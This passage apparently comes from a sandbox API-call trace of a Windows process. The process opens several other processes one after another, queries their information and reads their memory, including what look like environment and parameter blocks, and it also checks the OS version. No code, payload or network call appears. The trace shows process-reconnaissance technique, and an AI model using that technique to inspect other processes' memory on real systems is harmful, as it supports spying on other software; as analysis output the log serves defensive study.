[0192.794] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x443020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.794] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7a1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.794] malloc (_Size=0x5a) returned 0xeb60e0 [0192.794] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7a22aa, lpBuffer=0xeb60e0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb60e0*, lpNumberOfBytesRead=0x0) returned 1 [0192.795] free (_Block=0xeb60e0) [0192.796] CloseHandle (hObject=0x414) returned 1 [0192.796] _ui64tow_s (in: _Value=0xe98, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3736") returned 0x0 [0192.797] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3736") returned 4 [0192.797] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.797] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.798] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe98) returned 0x414 [0192.798] GetLastError () returned 0x0 [0192.798] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.798] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x312018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.798] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.798] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5a2620, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.798] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5a2258, lpBuffer=0x104c5a0, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.799] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.799] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.799] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x312020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.799] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5a1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.799] malloc (_Size=0x5c) returned 0xeb6230 [0192.799] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5a22ac, lpBuffer=0xeb6230, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6230*, lpNumberOfBytesRead=0x0) returned 1 [0192.800] free (_Block=0xeb6230) [0192.800] CloseHandle (hObject=0x414) returned 1 [0192.800] _ui64tow_s (in: _Value=0xcdc, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3292") returned 0x0 [0192.800] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3292") returned 4 [0192.800] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.800] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.801] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcdc) returned 0x414 [0192.801] GetLastError () returned 0x0 [0192.801] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.801] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x218018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.802] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.802] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x442650, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.802] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x442258, lpBuffer=0x104c5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.802] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.802] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.802] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x218020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.802] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x441c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.803] malloc (_Size=0x70) returned 0xea9020 [0192.803] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4422c0, lpBuffer=0xea9020, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9020*, lpNumberOfBytesRead=0x0) returned 1 [0192.803] free (_Block=0xea9020) [0192.803] CloseHandle (hObject=0x414) returned 1 [0192.803] _ui64tow_s (in: _Value=0xe04, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3588") returned 0x0 [0192.804] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3588") returned 4 [0192.804] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.804] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.805] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe04) returned 0x414 [0192.805] GetLastError () returned 0x0 [0192.805] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.805] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2b7018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.805] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.805] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x582640, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.805] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x582258, lpBuffer=0x104c5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.805] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.806] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.806] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2b7020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.806] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x581c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.806] malloc (_Size=0x6a) returned 0xea9220 [0192.806] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5822ba, lpBuffer=0xea9220, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9220*, lpNumberOfBytesRead=0x0) returned 1 [0192.806] free (_Block=0xea9220) [0192.807] CloseHandle (hObject=0x414) returned 1 [0192.807] _ui64tow_s (in: _Value=0x8b4, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2228") returned 0x0 [0192.807] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="2228") returned 4 [0192.807] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.807] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.808] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b4) returned 0x414 [0192.808] GetLastError () returned 0x0 [0192.808] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.808] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5db018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.808] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.808] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x272620, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.809] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x272258, lpBuffer=0x104c5a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.809] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.809] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.809] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5db020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.809] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x271c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.809] malloc (_Size=0x5e) returned 0xeb65b0 [0192.809] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2722ae, lpBuffer=0xeb65b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0192.810] free (_Block=0xeb65b0) [0192.810] CloseHandle (hObject=0x414) returned 1 [0192.811] _ui64tow_s (in: _Value=0xbcc, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3020") returned 0x0 [0192.811] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3020") returned 4 [0192.812] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.812] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.812] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbcc) returned 0x414 [0192.812] GetLastError () returned 0x0 [0192.812] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.813] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x208018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.813] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.813] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x492660, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.813] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x492258, lpBuffer=0x104c5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.813] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.813] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.813] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x208020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.814] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x491c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.814] malloc (_Size=0x74) returned 0xea9120 [0192.814] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4922c4, lpBuffer=0xea9120, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9120*, lpNumberOfBytesRead=0x0) returned 1 [0192.814] free (_Block=0xea9120) [0192.814] CloseHandle (hObject=0x414) returned 1 [0192.815] _ui64tow_s (in: _Value=0x10f8, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4344") returned 0x0 [0192.815] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4344") returned 4 [0192.815] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.815] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.816] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10f8) returned 0x414 [0192.816] GetLastError () returned 0x0 [0192.816] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.816] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x32c018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.816] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.816] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x502650, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.817] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x502258, lpBuffer=0x104c5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.817] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.817] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.817] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x32c020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.817] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x501c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.817] malloc (_Size=0x6c) returned 0xea90a0 [0192.817] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5022bc, lpBuffer=0xea90a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea90a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.818] free (_Block=0xea90a0) [0192.818] CloseHandle (hObject=0x414) returned 1 [0192.818] _ui64tow_s (in: _Value=0x1100, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4352") returned 0x0 [0192.818] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4352") returned 4 [0192.818] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.818] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.819] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1100) returned 0x414 [0192.819] GetLastError () returned 0x0 [0192.819] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.819] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x31d018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.820] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.820] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x6e2630, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.820] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x6e2258, lpBuffer=0x104c5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.820] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.820] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.820] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x31d020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.820] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x6e1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.821] malloc (_Size=0x64) returned 0xeb65b0 [0192.821] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x6e22b4, lpBuffer=0xeb65b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0192.821] free (_Block=0xeb65b0) [0192.821] CloseHandle (hObject=0x414) returned 1 [0192.821] _ui64tow_s (in: _Value=0x101c, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4124") returned 0x0 [0192.822] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4124") returned 4 [0192.822] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.822] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.823] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x101c) returned 0x414 [0192.823] GetLastError () returned 0x0 [0192.823] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.823] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x312018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.823] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.823] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1e2640, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.823] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1e2258, lpBuffer=0x104c5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.823] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.824] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.824] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x312020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.824] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1e1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.824] malloc (_Size=0x68) returned 0xeb64d0 [0192.824] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1e22b8, lpBuffer=0xeb64d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb64d0*, lpNumberOfBytesRead=0x0) returned 1 [0192.824] free (_Block=0xeb64d0) [0192.824] CloseHandle 